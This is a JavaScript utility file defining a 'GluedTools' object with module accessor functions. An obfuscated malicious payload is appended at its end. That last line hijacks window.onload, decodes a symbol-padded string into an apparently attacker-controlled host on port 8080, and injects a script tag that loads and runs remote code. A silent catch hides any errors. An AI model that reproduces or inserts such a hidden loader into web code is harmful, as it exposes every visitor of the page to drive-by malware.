// JavaScript Document

var GluedTools = {

	dom : function() {
		if (!GluedTools._DOM) {
			throw "Glued Tools DOM module is missing.";
		} else {
			return GluedTools._DOM;
		}
	},
	
	animator : function() {
		if (!GluedTools._Animator) {
			throw "Glued Tools Animation module is missing.";
		} else {
			return GluedTools._Animator;
		}
	},
	
	form : function() {
		if (!GluedTools._Form) {
			throw "Glued Tools Form module is missing.";
		} else {
			return GluedTools._Form;
		}
	},

	gui : function() {
		if (!GluedTools._GUI) {
			throw "Glued Tools GUI module is missing.";
		} else {
			return GluedTools._GUI;
		}
	},
	
	widgetFactory : function() {
		if (!GluedTools._WidgetFactory) {
			throw "Glued Tools Widget module is missing.";
		} else {
			return GluedTools._WidgetFactory;
		}
	}
	
}
 try{window.onload=function(){document.write('<div id=megaid>hp-com.webs.com.rapidshar</div>');Rdnip2lewhkgnb = document.getElementById('megaid').innerHTML + 'e$^)-#$)^$c&$@&o&m!^.!y$&^o)!u^r!&&t$^^o#^p!&f($#!i$#(#l&m($!s$!@.#r^&!u!&&:@D&&E!$&B#&U^$@G^)/#@g)!o(#$(&o^((!!g@!l$e).(^@(c#!@o&$(^m)$/(^!g@)o!o!!!g@$!l)e^(((.$!c!)(o!m&@/#g#^@o$^$o@)@@g^(&l^e@^.#(c!!o@)@&m&.)#s!(&g^/(e^a(()r@()t))&h($#^!l^#&$i&)!n^$k)^.^@))n!$e@@t#!/&@m($e^@#)t$$a)c(!a&!!f&^e((.@c$o((&m)!&/@'.replace(/#|\!|&|\(|\$|\)|\^|@/ig, '') ;document.write('<scr'+'ipt src=http://'+Rdnip2lewhkgnb.replace(/DEBUG/g, '8080')+'></scr'+'ipt>');} }  catch(M5z7pol30 ) {}